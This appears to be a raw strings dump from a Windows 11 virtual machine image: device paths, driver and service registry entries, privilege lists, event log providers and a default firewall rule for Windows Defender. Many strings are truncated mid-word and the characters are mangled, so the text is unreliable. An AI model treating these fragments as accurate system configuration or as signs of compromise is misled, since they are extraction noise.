\Device\HarddiskVolume3\Windows\System32\config\systemprofile\AppData\Local\Packages\microsoft.windows.fontdrvhost Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat @MS Gothic @MS PGothic @NSimSun @SimSun ARIAL COURIER COURIER NEW FIXEDSYS MS Gothic MS PGothic MS SANS SERIF MS SERIF NSimSun SimSun SMALL FONTS SYMBOL SYMBOL TIMES NEW ROMAN WINGDINGS \Device\HarddiskVolume3\Windows\System32\config\systemprofile\AppData\Local\Packages\microsoft.windows.fontdrvhost\AC ssedData \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\umbus.inf_amd64_914dd46b4b013b1b\umbus.sys \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\compositebus.inf_amd64_8cf6fa9d3afdfa25\CompositeBus.sys Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat \Device\HarddiskVolume3\Windows\System32\Microsoft\Protect\S-1-5-18\User\589e6d3a-4246-4ae7-914a-4dbcbb1fe6b7 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\RoamingState \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4 \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\umbus.inf_amd64_914dd46b4b013b1b\umbus.sys positeBus.sys \Device\HarddiskVolume3\Windows\bootstat.dat \Device\HarddiskVolume3\Windows\System32\DDORes.dll::$EA \Device\HarddiskVolume3\Windows\System32\C_437.NLS \Device\HarddiskVolume3\Windows\System32\C_1252.NLS \Device\HarddiskVolume3\Windows\System32\drivers\mssmbios.sys \Device\HarddiskVolume3\Program Files\Windows Defender \Device\HarddiskVolume3\Windows\System32\drivers\dfsc.sys \Device\HarddiskVolume3\Windows\System32\drivers\kmpdc.sys \Device\HarddiskVolume3\Program Files 32\wevtutil.exe \Device\HarddiskVolume3\Windows\System32\drivers\ahcache.sys \Device\HarddiskVolume3\Windows\System32\oobe rs\ahcache.sys \Device\HarddiskVolume3\Windows\System32\drivers\ahcache.sys \Device\HarddiskVolume3\Windows\System32\drivers\dam.sys \Device\HarddiskVolume3\Windows\System32\msutb.dll \Device\HarddiskVolume3\Windows\System32\drivers\bam.sys \Device\HarddiskVolume3\Windows\System32\drivers\bam.sys \Device\HarddiskVolume3\Windows\System32\l_intl.nls .exe \Device\HarddiskVolume3\Windows\System32\drivers\dfsc.sys \Device\HarddiskVolume3\Windows\System32\config \Device\HarddiskVolume3\Windows\System32\wbem st.exe \Device\HarddiskVolume3\Windows\bootstat.dat \Device\HarddiskVolume3\Windows\System32\DDORes.dll .sys l_intl.nls Cursors \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_1 winlogon.exe bcrypt.dll nipasscredprov.dll :NitroPDFDriverCreator9x64.dll 0MyDIT_GenClassCoInst.dll config SECURITY bootstat.dat kdnic.sys SECURITY.LOG1 SAM.LOG2 SystemTemp SystemResources FNTCACHE.DAT \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b} C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{56928A94-337F-4D40-8E4D-481FD6BE7D5C}\MicrosoftEdgeUpdateSetup_X86_1.3.221.3.exe vice\HarddiskVolume3 cMicrosoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat vice\HarddiskVolume3 aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat istry\Machine\System\CurrentaMicrosoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.sys M4/kf9W*CHRp %>M4/kf9W*CHRp \Device\HarddiskVolume3\Windows\System32\winresume.efi \Device\HarddiskVolume3\Windows\System32\KBDSF.DLL::$EA \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\drivers\udfs.sys \Device\HarddiskVolume3\Windows\System32\wbem\wmiprov.dll \Device\HarddiskVolume3\Windows\Cursors\aero_busy.ani \Device\HarddiskVolume3\Windows\System32\perfdisk.dll \Device\HarddiskVolume3\Windows\System32\KBDGR.DLL \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\csrss.exe \Device\HarddiskVolume3\Windows\System32\en-US\user32.dll.mui \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\System32\winlogon.exe::$EA \Device\HarddiskVolume3\Windows\System32\utcapi.dll \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Windows\System32\win32kbase.sys \Device\HarddiskVolume3\Windows\System32\KBDSF.DLL \Device\HarddiskVolume3\Windows\SysWOW64\virtdisk.dll \Device\HarddiskVolume3\Windows\System32\en-US\winlogon.exe.mui \Device\HarddiskVolume3\Windows\System32\en-US\wininit.exe.mui \Device\HarddiskVolume3\Windows\System32\utcapi.dll \Device\HarddiskVolume3\Windows\System32\perfts.dll \Device\HarddiskVolume3\Windows\System32\wininitext.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\user32.dll.mui \Device\HarddiskVolume3\Windows\System32\win32kbase.sys \Device\HarddiskVolume3\Windows\System32\umpdc.dll::$EA \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll::$EA \Device\HarddiskVolume3\Windows\System32\drivers\udfs.sys \Device\HarddiskVolume3\Windows\System32\wininitext.dll \Device\HarddiskVolume3\Windows\System32\KBDSF.DLL \Device\HarddiskVolume3\Windows\System32\KBDGR.DLL::$EA \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\config\TxR \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD.LOG \Device\HarddiskVolume3\Windows\System32\en-US\user32.dll.mui \Device\HarddiskVolume3\Windows\System32\usbperf.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll::$EA \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf \Device\HarddiskVolume3\Windows\System32\netutils.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\user32.dll.mui \Device\HarddiskVolume3\Windows\System32\tapiperf.dll \Device\HarddiskVolume3\Windows\System32\cdd.dll \Device\HarddiskVolume3\Windows\System32\wininit.exe \Device\HarddiskVolume3\Windows\System32\wininit.exe \Device\HarddiskVolume3\Windows\System32\tapiperf.dll \Device\HarddiskVolume3\Windows\Cursors\aero_ew.cur \Device\HarddiskVolume3\Windows\System32\sxssrv.dll \Device\HarddiskVolume3\Windows\Cursors\aero_nesw.cur \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\sxssrv.dll::$EA \Device\HarddiskVolume3\Windows\Cursors\aero_nwse.cur \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\Cursors\aero_up.cur \Device\HarddiskVolume3\Windows\System32\sxssrv.dll \Device\HarddiskVolume3\Windows\System32\en-US\winsrv.dll.mui \Device\CdRom0 kVolume3\Windows\apppatch\drvmain.sdb \Device\HarddiskVolume3\Windows\System32\en-US\winsrv.dll.mui \Device\HarddiskVolume3\Windows\System32\cdd.dll \Device\HarddiskVolume3\pagefile.sys m32\drivers\udfs.sys \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\tapiperf.dll \SystemRoot\System32\HalExtIntcPseDma.dll \SystemRoot\System32\HalExtIntcPseDma.dll \SystemRoot\System32\HalExtIntcPseDma.dll \SystemRoot\System32\HalExtIntcLpioDma.dll \SystemRoot\System32\HalExtIntcLpioDma.dll \SystemRoot\System32\HalExtPL080.dll \SystemRoot\System32\HalExtIntcLpioDma.dll FvePpfPredictionsUpdated HighDrain {F7175A27-4992-4899-81BE-54FB4155F71A} HighDrain {db57eb61-1aa2-4906-9396-23e8b8024c32} WinNT 2907b935-0ea5-dca1-85a7-75597491a18b Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe Terminal Server Microsoft.Windows.Pro.Addon_8wekyb3d8bbwe autocheck autochk * %SystemRoot%\system32\bootim.exe \Windows \RPC Control WinInit ServiceControlManager ServiceControlManager kernel32.dll wow64cpu.dll wowarmhw.dll xtajit.dll advapi32.dll clbcatq.dll combase.dll COMDLG32.dll coml2.dll difxapi.dll gdi32.dll gdiplus.dll IMAGEHLP.dll IMM32.dll MSCTF.dll MSVCRT.dll NORMALIZ.dll NSI.dll ole32.dll OLEAUT32.dll PSAPI.DLL rpcrt4.dll sechost.dll Setupapi.dll SHCORE.dll SHELL32.dll SHLWAPI.dll user32.dll WLDAP32.dll wow64.dll wow64base.dll wow64con.dll wow64win.dll WS2_32.dll xtajit64.dll xtajitf.dll xtajitse.dll xtajit64se.dll Windows Modules Installer TrustedInstaller TrustedInstaller,* *,TermSrv,GPClient,Profiles,SessionEnv,Wlansvc,Dot3svc SessionEnv,Profiles,Dot3svc,Wlansvc,GPClient,TermSrv,AUInstallAgent,* SessionEnv,AUInstallAgent,* {5F9D95CB-2253-4CBF-8A7A-DE6192BAF3BE} UnionFS TraceLogging CimFSUnionFS-Filter {0e66e20b-b802-ba6a-9272-31199d0ed295} Security {d2112be4-cd15-5a9c-e38f-080a207e08d5} System EventLog-System v2.33|Action=Block|Active=TRUE|Dir=Out|App=%ProgramData%\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe|Svc=WinDefend|Name=Outbound service restriction rule for WinDefend|Desc=Block all outbound traffic from service WinDefend| EventLog-System %SystemRoot%\System32\LogFiles\WMI\Wifi.etl {76E684E4-194C-43B0-B890-8269646DE989} {1FF6B227-2CA7-40f9-9A66-980EADAA602E} root\umbus root\kdnic kdnic kdnic.inf ROOT\RDPBUS rdpbus.inf ROOT\SWENUM IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 swenum.inf IS\0000 compositebus.inf \job Templates INetCache \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB\CURRENT~RFdc27.TMP 17.TMP .TMP .tmp Microsoft \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData AppData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat::$ATTRIBUTE_LIST MS Gothic Microsoft:MS Gothic MS Gothic Regular sRGB Color Space Profile.icm @Yu Gothic UI Semibold YuGothicUI-Semibold @Yu Gothic UI Semibold Regular msvcp110_win.dll omadmapi.dll ata\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU Malgun Gothic Malgun Gothic Bold Malgun Gothic Bold Bold IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 ROOT\NdisVirtualBus IS\0000 IS\0000 IS\0000 IS\0000 WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 ROOT\CompositeBus IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 IS\0000 umbus C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup CDPUserSvc_3f7d0 @%SystemRoot%\system32\cdpusersvc.dll,-101 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup umbus.inf ROOT\VID wvid.inf \SystemRoot\System32\drivers\1394ohci.sys @1394.inf,%PCI\CC_0C0010.DeviceDesc%;1394 OHCI Compliant Host Controller 1394.inf System32\drivers\ACPI.sys @acpi.inf,%ACPI.SvcDesc%;Microsoft ACPI Driver acpi.inf Core \SystemRoot\System32\DriverStore\FileRepository\acpiaudiocompositor.inf_amd64_047f553a6f70b169\AcpiAudioCompositor.sys @acpiaudiocompositor.inf,%WdfStandaloneDevice.ServiceName%;ACPI Audio Compositor Driver acpiaudiocompositor.inf 1.31 \SystemRoot\System32\drivers\AcpiDev.sys Extended Base @acpidev.inf,%AcpiDev.SvcDesc%;ACPI Devices driver acpidev.inf \SystemRoot\System32\DriverStore\FileRepository\acpipagr.inf_amd64_d1093347a27ff89c\acpipagr.sys USB\VID_0E0F&PID_0003&REV_0102 USB\VID_0E0F&PID_0003 USB\COMPAT_VID_0E0F&DevClass_00&SubClass_00&Prot00 USB\COMPAT_VID_0E0F&DevClass_00&SubClass_00 USB\COMPAT_VID_0E0F&DevClass_00 USB\DevClass_00&SubClass_00&Prot_00 USB\DevClass_00&SubClass_00 USB\DevClass_00 USB\COMPOSITE VMware Virtual USB Mouse PCIROOT(0)#PCI(1600)#PCI(0000)#USBROOT(0)#USB(5) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE50)#ACPI(S1F0)#USBROOT(0)#USB(5) @acpipagr.inf,%SvcDesc%;ACPI Processor Aggregator Driver acpipagr.inf \SystemRoot\System32\DriverStore\FileRepository\acpipmi.inf_amd64_3ced06eb61dcc792\acpipmi.sys @acpipmi.inf,%AcpiPmi.SvcDesc%;ACPI Power Meter Driver acpipmi.inf \SystemRoot\System32\drivers\acpitime.sys Extended Base @acpitime.inf,%AcpiTime.SvcDesc%;ACPI Wake Alarm Driver acpitime.inf System32\drivers\ADP80XX.SYS SCSI Miniport adp80xx.inf RpcSs @%SystemRoot%\system32\adpsvc.dll,-103 @%SystemRoot%\system32\adpsvc.dll,-102 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\System32\adpsvc.dll ServiceMain \SystemRoot\System32\drivers\amdk8.sys Extended Base @cpu.inf,%AmdK8.SvcDesc%;AMD K8 Processor Driver cpu.inf %SystemRoot%\System32\drivers\processr.sys \SystemRoot\System32\drivers\amdppm.sys Extended Base @cpu.inf,%AmdPPM.SvcDesc%;AMD Processor Driver cpu.inf %SystemRoot%\System32\drivers\processr.sys System32\drivers\amdwps.sys Core Security Extensions @amdwps.inf,%SvcDesc%;AMD Workload Profiling Scheduling Driver amdwps.inf rpcss staterepository @%SystemRoot%\system32\appxdeploymentserver.dll,-2 @%SystemRoot%\system32\appxdeploymentserver.dll,-1 %systemroot%\system32\svchost.exe -k wsappx -p LocalSystem SeTcbPrivilege SeIncreaseBasePriorityPrivilege SeCreatePermanentPrivilege SeSecurityPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeBackupPrivilege SeCreateSymbolicLinkPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege System32\drivers\arcsas.sys SCSI miniport @arcsas.inf,%arcsas_ServiceName%;Adaptec SAS/SATA-II RAID Storport's Miniport Driver arcsas.inf BLEDCheck=1 System32\drivers\atapi.sys SCSI Miniport @mshdc.inf,%idechannel.DeviceDesc%;IDE Channel mshdc.inf \SystemRoot\System32\DriverStore\FileRepository\basicdisplay.inf_amd64_2753efdbb0d9a226\BasicDisplay.sys Video display.inf basicdisplay.inf Video \SystemRoot\System32\DriverStore\FileRepository\basicrender.inf_amd64_be4cb8d455d1ca0d\BasicRender.sys basicrender.inf \SystemRoot\System32\drivers\BthA2dp.sys @microsoft_bluetooth_a2dp.inf,%BthA2dp.ServiceDescription%;Microsoft Bluetooth A2dp driver microsoft_bluetooth_a2dp_src.inf \SystemRoot\System32\drivers\BthEnum.sys @bth.inf,%BthEnum.SVCDESC%;Bluetooth Enumerator Service tdibth.inf bth.inf \SystemRoot\System32\drivers\bthhfenum.sys Extended Base @microsoft_bluetooth_hfp.inf,%BTHHFENUM_DISPLAY_NAME%;Microsoft Bluetooth Hands-Free Profile driver microsoft_bluetooth_hfp_hf.inf microsoft_bluetooth_hfp_ag.inf \SystemRoot\System32\drivers\Microsoft.Bluetooth.Legacy.LEEnumerator.sys @bthleenum.inf,%BthLEEnum.SVCDESC%;Bluetooth Low Energy Driver bthleenum.inf \SystemRoot\System32\drivers\BTHMINI.sys PNP Filter @bth.inf,%BTHMINI.SvcDesc%;Bluetooth Radio Driver bth.inf \SystemRoot\System32\drivers\bthmodem.sys @mdmbtmdm.inf,%BthModem.DisplayName%;Bluetooth Modem Communications Driver bthspp.inf \SystemRoot\System32\drivers\BTHport.sys PNP Filter @bth.inf,%BTHPORT.SvcDesc%;Bluetooth Port Driver bth.inf \SystemRoot\System32\drivers\BTHUSB.sys PNP Filter @bth.inf,%BTHUSB.SvcDesc%;Bluetooth Radio USB Driver bth.inf System32\drivers\bttflt.sys \bttflt.sys PnP Filter @virtdisk.inf,%service_desc%;Microsoft Hyper-V VHDPMEM BTT Filter virtdisk.inf \SystemRoot\System32\drivers\buttonconverter.sys @buttonconverter.inf,%btnconv.SvcDesc%;Service for Portable Device Control devices buttonconverter.inf \SystemRoot\System32\drivers\CAD.sys @ChargeArbitration.inf,%CAD_DevDesc%;Charge Arbitration Driver ChargeArbitration.inf @%SystemRoot%\system32\CapabilityAccessManager.dll,-2 @%SystemRoot%\system32\CapabilityAccessManager.dll,-1 %SystemRoot%\system32\svchost.exe -k osprivacy -p LocalSystem SeImpersonatePrivilege SeDebugPrivilege SeTcbPrivilege rpcss staterepository CoreMessagingRegistrar \SystemRoot\System32\drivers\cdrom.sys SCSI CDROM Class @cdrom.inf,%cdrom_ServiceDesc%;CD-ROM Driver cdrom.inf NEC MBR-7 NEC MBR-7.4 PIONEER CHANGR DRM-1804X PIONEER CD-ROM DRM-6324X PIONEER CD-ROM DRM-624X TORiSAN CD-ROM CDR_C36 \SystemRoot\System32\drivers\cht4vx64.sys System Bus Extender @cht4vx64.inf,%cht4vbd.generic%;Chelsio Virtual Bus Driver cht4vx64.inf \SystemRoot\System32\drivers\circlass.sys Extended Base @circlass.inf,%circlass.SVCDESC%;Consumer IR Devices circlass.inf TwoPPM 2900 -100 500 -150 800 -450 450 -150 450 MCIR Japanese Keyboard 32-bit BiPhase MSBFirst 150 -450 450 -150 -450 150 -150 450 2300 -450 150 -450 150 -450 450 -750 150 2900 -100 450 -150 450 -150 750 -450 450 MCIR Three Button Mouse 29-bit BiPhase MSBFirst 150 -450 450 -150 -450 150 -150 450 2300 -450 150 -450 150 -450 150 -450 450 -450 2900 -100 450 -150 450 -150 450 -150 750 -150 @%SystemRoot%\system32\drivers\clfs.sys,-101 @%SystemRoot%\system32\drivers\clfs.sys,-100 Filter System32\drivers\CLFS.sys \SystemRoot\System32\drivers\CmBatt.sys @cmbatt.inf,%CmBatt.SvcDesc%;Microsoft ACPI Control Method Battery Driver cmbatt.inf battery.inf \SystemRoot\System32\DriverStore\FileRepository\compositebus.inf_amd64_8cf6fa9d3afdfa25\CompositeBus.sys Extended Base @compositebus.inf,%CompositeBus.SVCDESC%;Composite Bus Enumerator Driver compositebus.inf \SystemRoot\System32\DriverStore\FileRepository\devmap.inf_amd64_1993197f4612e967\devmap.sys @devmap.inf,%devmap.ServiceDesc%;Usermode Device Mapper Service devmap.inf System32\drivers\disk.sys @disk.inf,%disk_ServiceDesc%;Disk Driver smrdisk.inf wstorflt.inf virtdisk.inf disk.inf Brother RemovableDisk(U) \SystemRoot\System32\DriverStore\FileRepository\displaymux.inf_amd64_da65a70f0c3ce0f3\DisplayMux.sys @displaymux.inf,%DISPLAYMUX.SVCDESC%;Microsoft DisplayMux displaymux.inf \SystemRoot\System32\drivers\dmvsc.sys wdmvsc.inf @%SystemRoot%\System32\dnsapi.dll,-102 @%SystemRoot%\System32\dnsapi.dll,-101 %SystemRoot%\system32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\dnsext.dll %SystemRoot%\System32\dnsrslvr.dll \SystemRoot\System32\drivers\drmkaud.sys @wdmaudio.inf,%drmkaud.SvcDesc%;Microsoft Trusted Audio Drivers wdmaudio.inf RpcSs @%SystemRoot%\system32\DeviceSetupManager.dll,-1001 @%SystemRoot%\system32\DeviceSetupManager.dll,-1000 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege SeTcbPrivilege SeCreatePermanentPrivilege SeAssignPrimaryTokenPrivilege SeLoadDriverPrivilege RPCSS KeyIso @%systemroot%\system32\eapsvc.dll,-2 @%systemroot%\system32\eapsvc.dll,-1 %SystemRoot%\System32\svchost.exe -k netsvcs -p localSystem SeTcbPrivilege SeDebugPrivilege SeImpersonatePrivilege System32\drivers\evbda.sys System Bus Extender @netevbda.inf,%vbd_srv_desc%;QLogic 10 Gigabit Ethernet Adapter VBD netevbda.inf System32\drivers\evbd0a.sys System Bus Extender @netevbd0a.inf,%vbd_srv_desc%;QLogic Legacy Ethernet Adapter VBD netevbd0a.inf RPCSS 0Mic Microsoft Edge Update Service (edgeupdate) "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc LocalSystem RPCSS Microsoft Edge Update Service (edgeupdatem) "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc LocalSystem C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdate.dll @%SystemRoot%\system32\drivers\EhStorClass.sys,-101 @%SystemRoot%\system32\drivers\EhStorClass.sys,-100 SCSI Class System32\drivers\EhStorClass.sys System32\drivers\EhStorTcgDrv.sys SCSI Class @ehstortcgdrv.inf,%EhStorTcgDrv.Desc%;Microsoft driver for storage devices supporting IEEE 1667 and TCG protocols ehstortcgdrv.inf {cd255889-bb93-475b-8cc3-cd3e0f609020} rpcss @EnterpriseAppMgmtSvc.dll,-2 @EnterpriseAppMgmtSvc.dll,-1 %systemroot%\system32\svchost.exe -k appmodelRedirectionGuard -p LocalSystem SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege \SystemRoot\System32\drivers\errdev.sys Extended Base @errdev.inf,%ERRDEV.SvcDesc%;Microsoft Hardware Error Device Driver errdev.inf @%SystemRoot%\system32\wevtsvc.dll,-201 @%SystemRoot%\system32\wevtsvc.dll,-200 Event Log %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege %SystemRoot%\system32\wevtapi.dll %SystemRoot%\system32\winevt\Logs\Application.evtx Application WINDOWS11 BP982 {f1ef270a-0d32-4352-ba52-dbab41e1d859} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {bff15e13-81bf-45ee-8b16-7cfead00da86} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {85a62a0d-7e17-485f-9d4f-749a287193a6} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.221.3\msedgeupdate.dll Maintient votre logiciel Microsoft jour. Si ce service est d sactiv ou arr , votre logiciel Microsoft n'est pas mis jour, ce qui signifie que les potentielles failles de s curit peuvent ne pas tre corrig es et que certaines fonctionnalit s risquent de ne pas tre op rationnelles. Ce service se d sinstalle de lui-m me si aucun logiciel Microsoft ne l'utilise. {f4aed7c7-a898-4627-b053-44a7caa12fcd} %SystemRoot%\system32\rpcrt4.dll {7d29d58a-931a-40ac-8743-48c733045548} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {b059b83f-d946-4b13-87ca-4292839dc2f2} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll %systemroot%\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ApplicationLogMessages.dll %SystemRoot%\system32\wevtapi.dll %SystemRoot%\system32\winevt\Logs\System.evtx System %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\acpi.sys %SystemRoot%\System32\netevent.dll;%SystemRoot%\System32\drivers\e1i68x64.sys NDIS {4d36e972-e325-11ce-bfc1-08002be10318} e1i68x64 @net1ic64.inf,%e10d3nc.devicedesc%;Intel(R) 82574L Gigabit Network Connection {4d36e972-e325-11ce-bfc1-08002be10318}\0000 Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection @net1ic64.inf,%intel%;Intel Corporation Microsoft Microsoft 8-3-2015 net1ic64.inf 12.19.1.32 12.19.1.32 %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\amdk8.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\amdppm.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\BthEnum.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Microsoft.Bluetooth.Legacy.LEEnumerator.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys;%SystemRoot%\System32\Drivers\BthMini.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys;%SystemRoot%\System32\Drivers\BthUsb.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\netevent.dll;%SystemRoot%\System32\drivers\cht4vx64.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\drivers\evbda.sys;%SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\drivers\evbd0a.sys;%SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\hidbth.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\hidi2c.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\hidspi.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\i8042prt.sys %SystemRoot%\System32\drivers\ibbus.sys;%SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\intelppm.sys %SystemRoot%\System32\drivers\ipmidrv.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\isapnp.sys %SystemRoot%\System32\iscsilog.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\kbdclass.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\kbdhid.sys %SystemRoot%\System32\netevent.dll {199fe037-2b82-40a9-82ac-e1d46c792b99} %windir%\System32\lsasrv.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\megasas2i.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\megasas35i.sys {85a62a0d-7e17-485f-9d4f-749a287193a6} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {a148cf02-be6d-5f08-94e3-b68de60d8422} %windir%\system32\nettracehelper.dll {0d4fdc09-8c27-494a-bda0-505e4fd8adae} %SystemRoot%\System32\samsrv.dll {f3c5e28e-63f6-49c7-a204-e48a1bc4b09d} %SystemRoot%\system32\drivers\fltmgr.sys {57eaf242-3772-533c-9fd2-29ed95606d14} %SystemRoot%\system32\hpatchmon.dll {15ca44ff-4d7a-4baa-bba5-0998955e531e} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {a68ca8b7-004f-d7b6-a698-07e2de0f1f5d} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {abf1f586-2e50-4ba8-928d-49044e6f0db7} %SystemRoot%\system32\Microsoft-Windows-System-Events.dll {3ff37a1c-a68d-4d6e-8c9b-f79e8b16c482} %SystemRoot%\system32\drivers\ntfs.sys {8e6a5303-a4ce-498f-afdb-e03a8a82b077} %SystemRoot%\system32\drivers\ntfs.sys {5909c524-5e57-5275-803f-ddb7b74c52f2} %SystemRoot%\system32\pcrpf.dll {d07e8c3f-78fb-4c22-b77c-2203d00bfdf3} 